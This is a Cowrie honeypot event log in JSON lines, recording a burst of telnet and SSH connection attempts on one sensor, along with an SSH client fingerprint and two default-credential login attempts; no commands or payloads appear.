{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":60140,"dst_ip":"10.17.0.5","dst_port":23,"session":"90badcac1a6d","protocol":"telnet","message":"New connection: 45.10.154.244:60140 (10.17.0.5:23) [session: 90badcac1a6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:42.459703Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":60170,"dst_ip":"10.17.0.5","dst_port":23,"session":"911f20add991","protocol":"telnet","message":"New connection: 45.10.154.244:60170 (10.17.0.5:23) [session: 911f20add991]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:42.465784Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":56686,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ca99a185a20","protocol":"telnet","message":"New connection: 45.10.154.244:56686 (10.17.0.5:23) [session: 5ca99a185a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:42.489472Z"}
{"eventid":"cowrie.session.closed","duration":34.71687197685242,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:42.526465Z","src_ip":"167.99.38.72","session":"51d19fa4d883","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.787262439727783,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:43.117550Z","src_ip":"45.10.154.244","session":"e37025c1f0fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.373044729232788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:43.574557Z","src_ip":"45.10.154.244","session":"d59f3076791f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":36796,"dst_ip":"10.17.0.5","dst_port":23,"session":"95fa1e97988a","protocol":"telnet","message":"New connection: 45.10.154.244:36796 (10.17.0.5:23) [session: 95fa1e97988a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:43.855575Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":37532,"dst_ip":"10.17.0.5","dst_port":23,"session":"71e0068fea6d","protocol":"telnet","message":"New connection: 45.10.154.244:37532 (10.17.0.5:23) [session: 71e0068fea6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:44.055531Z"}
{"eventid":"cowrie.session.closed","duration":30.591857194900513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:44.099267Z","src_ip":"45.10.154.244","session":"9593f42e98c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":39752,"dst_ip":"10.17.0.5","dst_port":23,"session":"32b9ad1f9634","protocol":"telnet","message":"New connection: 45.10.154.244:39752 (10.17.0.5:23) [session: 32b9ad1f9634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:44.677617Z"}
{"eventid":"cowrie.session.closed","duration":34.17554569244385,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:45.586867Z","src_ip":"167.99.38.72","session":"30fd6f3b3f4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":44852,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d3fa66ce10b","protocol":"telnet","message":"New connection: 45.10.154.244:44852 (10.17.0.5:23) [session: 7d3fa66ce10b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:46.008315Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.101.169","src_port":47778,"dst_ip":"10.17.0.5","dst_port":22,"session":"08a81ad25f73","protocol":"ssh","message":"New connection: 160.251.101.169:47778 (10.17.0.5:22) [session: 08a81ad25f73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:46.046037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:46.052327Z","src_ip":"160.251.101.169","session":"08a81ad25f73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.087223768234253,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:46.066264Z","src_ip":"45.10.154.244","session":"6e3ca7e58494","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":45176,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac6bf9b469e8","protocol":"telnet","message":"New connection: 45.10.154.244:45176 (10.17.0.5:23) [session: ac6bf9b469e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:46.103744Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:46.211789Z","src_ip":"160.251.101.169","session":"08a81ad25f73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest1","password":"guest1","message":"login attempt [guest1/guest1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:46.870799Z","src_ip":"160.251.101.169","session":"08a81ad25f73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":47910,"dst_ip":"10.17.0.5","dst_port":23,"session":"f483bf9d6542","protocol":"telnet","message":"New connection: 45.10.154.244:47910 (10.17.0.5:23) [session: f483bf9d6542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:46.875604Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":50590,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5ccce36bcc8","protocol":"telnet","message":"New connection: 167.99.38.72:50590 (159.203.135.109:23) [session: b5ccce36bcc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:46.914284Z"}
{"eventid":"cowrie.session.closed","duration":31.003830671310425,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:47.084460Z","src_ip":"45.10.154.244","session":"c2aaa95aedd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":49154,"dst_ip":"10.17.0.5","dst_port":23,"session":"d50128b74626","protocol":"telnet","message":"New connection: 45.10.154.244:49154 (10.17.0.5:23) [session: d50128b74626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:47.194899Z"}
{"eventid":"cowrie.session.closed","duration":35.43843078613281,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:47.508261Z","src_ip":"167.99.38.72","session":"bd1de8cac24b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:48.031773Z","src_ip":"160.251.101.169","session":"08a81ad25f73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":52542,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e023e3a667d","protocol":"telnet","message":"New connection: 45.10.154.244:52542 (10.17.0.5:23) [session: 0e023e3a667d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:48.216179Z"}
{"eventid":"cowrie.session.closed","duration":30.753764152526855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:48.385967Z","src_ip":"45.10.154.244","session":"1f2a67b004dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":53532,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c317332cad8","protocol":"telnet","message":"New connection: 45.10.154.244:53532 (10.17.0.5:23) [session: 8c317332cad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:48.488665Z"}
{"eventid":"cowrie.session.closed","duration":30.617294549942017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:49.067674Z","src_ip":"45.10.154.244","session":"c4fa449b90f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":57488,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ac37fc431ae","protocol":"telnet","message":"New connection: 45.10.154.244:57488 (10.17.0.5:23) [session: 8ac37fc431ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:49.641041Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42184,"dst_ip":"159.203.135.109","dst_port":23,"session":"de956dcdffed","protocol":"telnet","message":"New connection: 51.161.172.108:42184 (159.203.135.109:23) [session: de956dcdffed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:49.645219Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":57504,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ac48e46005d","protocol":"telnet","message":"New connection: 45.10.154.244:57504 (10.17.0.5:23) [session: 4ac48e46005d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:49.649963Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":59928,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9df2eebb0aa","protocol":"telnet","message":"New connection: 45.10.154.244:59928 (10.17.0.5:23) [session: b9df2eebb0aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:50.218844Z"}
{"eventid":"cowrie.session.closed","duration":33.375250577926636,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:50.506793Z","src_ip":"167.99.38.72","session":"d5626bdc6a19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.00510096549988,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:50.653122Z","src_ip":"167.99.38.72","session":"3ec57d37b48e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":33466,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d3bfff3d577","protocol":"telnet","message":"New connection: 45.10.154.244:33466 (10.17.0.5:23) [session: 4d3bfff3d577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:50.661457Z"}
{"eventid":"cowrie.session.closed","duration":30.838106155395508,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:51.353184Z","src_ip":"51.161.172.108","session":"d5cd0a70f172","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.278769731521606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:51.737328Z","src_ip":"45.10.154.244","session":"f3f46384fb02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":38128,"dst_ip":"10.17.0.5","dst_port":23,"session":"dddf6e5e57ef","protocol":"telnet","message":"New connection: 45.10.154.244:38128 (10.17.0.5:23) [session: dddf6e5e57ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:51.944622Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":39242,"dst_ip":"10.17.0.5","dst_port":23,"session":"16248cbf7102","protocol":"telnet","message":"New connection: 45.10.154.244:39242 (10.17.0.5:23) [session: 16248cbf7102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:52.234375Z"}
{"eventid":"cowrie.session.closed","duration":42.01081824302673,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:52.636550Z","src_ip":"167.99.38.72","session":"999aec465058","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":40178,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ae24f607b3c","protocol":"telnet","message":"New connection: 34.69.118.1:40178 (159.203.135.109:23) [session: 0ae24f607b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:53.304880Z"}
{"eventid":"cowrie.session.closed","duration":31.17184591293335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:53.605461Z","src_ip":"45.10.154.244","session":"cbbb006a5cf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62987518310547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:54.179553Z","src_ip":"45.10.154.244","session":"f9dfc3793df5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.643064975738525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:54.405101Z","src_ip":"51.161.172.108","session":"29b968d03996","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48584,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c535734991a","protocol":"telnet","message":"New connection: 45.10.154.244:48584 (10.17.0.5:23) [session: 3c535734991a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:54.769353Z"}
{"eventid":"cowrie.session.closed","duration":30.790014028549194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:55.123729Z","src_ip":"45.10.154.244","session":"d4ee00297b84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":49988,"dst_ip":"10.17.0.5","dst_port":23,"session":"b47a26ff2f13","protocol":"telnet","message":"New connection: 45.10.154.244:49988 (10.17.0.5:23) [session: b47a26ff2f13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:55.182643Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":54872,"dst_ip":"159.203.135.109","dst_port":23,"session":"ecf123fc71c4","protocol":"telnet","message":"New connection: 167.99.38.72:54872 (159.203.135.109:23) [session: ecf123fc71c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:55.485501Z"}
{"eventid":"cowrie.session.closed","duration":30.36536979675293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:56.086236Z","src_ip":"45.10.154.244","session":"e341cceffe0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":53962,"dst_ip":"10.17.0.5","dst_port":23,"session":"35c1e2d811b5","protocol":"telnet","message":"New connection: 45.10.154.244:53962 (10.17.0.5:23) [session: 35c1e2d811b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:56.326428Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":54410,"dst_ip":"10.17.0.5","dst_port":23,"session":"70d486c0e0db","protocol":"telnet","message":"New connection: 45.10.154.244:54410 (10.17.0.5:23) [session: 70d486c0e0db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:56.442339Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":54670,"dst_ip":"10.17.0.5","dst_port":23,"session":"58b2f67e10f9","protocol":"telnet","message":"New connection: 45.10.154.244:54670 (10.17.0.5:23) [session: 58b2f67e10f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:56.504689Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42194,"dst_ip":"159.203.135.109","dst_port":23,"session":"e55eeea30eb3","protocol":"telnet","message":"New connection: 51.161.172.108:42194 (159.203.135.109:23) [session: e55eeea30eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:56.734794Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":56286,"dst_ip":"10.17.0.5","dst_port":23,"session":"276df02dd4d8","protocol":"telnet","message":"New connection: 45.10.154.244:56286 (10.17.0.5:23) [session: 276df02dd4d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:57.000723Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":56932,"dst_ip":"10.17.0.5","dst_port":23,"session":"863d6a06572f","protocol":"telnet","message":"New connection: 45.10.154.244:56932 (10.17.0.5:23) [session: 863d6a06572f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:57.234396Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":57604,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd492f8d714c","protocol":"telnet","message":"New connection: 45.10.154.244:57604 (10.17.0.5:23) [session: fd492f8d714c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:57.454223Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42204,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e30e9167c1f","protocol":"telnet","message":"New connection: 51.161.172.108:42204 (159.203.135.109:23) [session: 6e30e9167c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:57.692492Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":58856,"dst_ip":"10.17.0.5","dst_port":23,"session":"7649319fee7d","protocol":"telnet","message":"New connection: 45.10.154.244:58856 (10.17.0.5:23) [session: 7649319fee7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:57.831438Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":58954,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d677031b3d5","protocol":"telnet","message":"New connection: 45.10.154.244:58954 (10.17.0.5:23) [session: 3d677031b3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:57.863066Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":60352,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6638c000301","protocol":"telnet","message":"New connection: 45.10.154.244:60352 (10.17.0.5:23) [session: d6638c000301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:58.280276Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":42208,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5992907024b","protocol":"telnet","message":"New connection: 51.161.172.108:42208 (159.203.135.109:23) [session: c5992907024b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:58.637267Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":33768,"dst_ip":"10.17.0.5","dst_port":23,"session":"d25be1f0acbe","protocol":"telnet","message":"New connection: 45.10.154.244:33768 (10.17.0.5:23) [session: d25be1f0acbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:58.723756Z"}
{"eventid":"cowrie.session.closed","duration":30.9038667678833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:36:59.627695Z","src_ip":"34.69.118.1","session":"abc7cd10e859","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.983108043670654,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:00.028064Z","src_ip":"167.99.38.72","session":"8db0a8d3faf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.576607704162598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:00.205352Z","src_ip":"45.10.154.244","session":"a7f84fc547f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":38800,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f961414029f","protocol":"telnet","message":"New connection: 45.10.154.244:38800 (10.17.0.5:23) [session: 8f961414029f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:00.235351Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":39980,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c68107960fa","protocol":"telnet","message":"New connection: 45.10.154.244:39980 (10.17.0.5:23) [session: 1c68107960fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:00.565570Z"}
{"eventid":"cowrie.session.closed","duration":34.94443678855896,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:00.758545Z","src_ip":"167.99.38.72","session":"7ac41e579ad5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.218700647354126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:01.107427Z","src_ip":"45.10.154.244","session":"739e7ed51732","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.442389726638794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:01.123485Z","src_ip":"45.10.154.244","session":"32b51bcdb04e","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:01.225266Z","src_ip":"122.168.114.167","session":"6344a3281b10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":44658,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d30fddafdef","protocol":"telnet","message":"New connection: 45.10.154.244:44658 (10.17.0.5:23) [session: 8d30fddafdef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:01.894611Z"}
{"eventid":"cowrie.session.closed","duration":30.61710500717163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:02.171881Z","src_ip":"45.10.154.244","session":"dbaf01f83e2e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":46282,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae1a7556ea0b","protocol":"telnet","message":"New connection: 45.10.154.244:46282 (10.17.0.5:23) [session: ae1a7556ea0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:02.375628Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.10.154.244","src_port":48318,"dst_ip":"10.17.0.5","dst_port":23,"session":"daa4d626d6b0","protocol":"telnet","message":"New connection: 45.10.154.244:48318 (10.17.0.5:23) [session: daa4d626d6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:37:03.059074Z"}
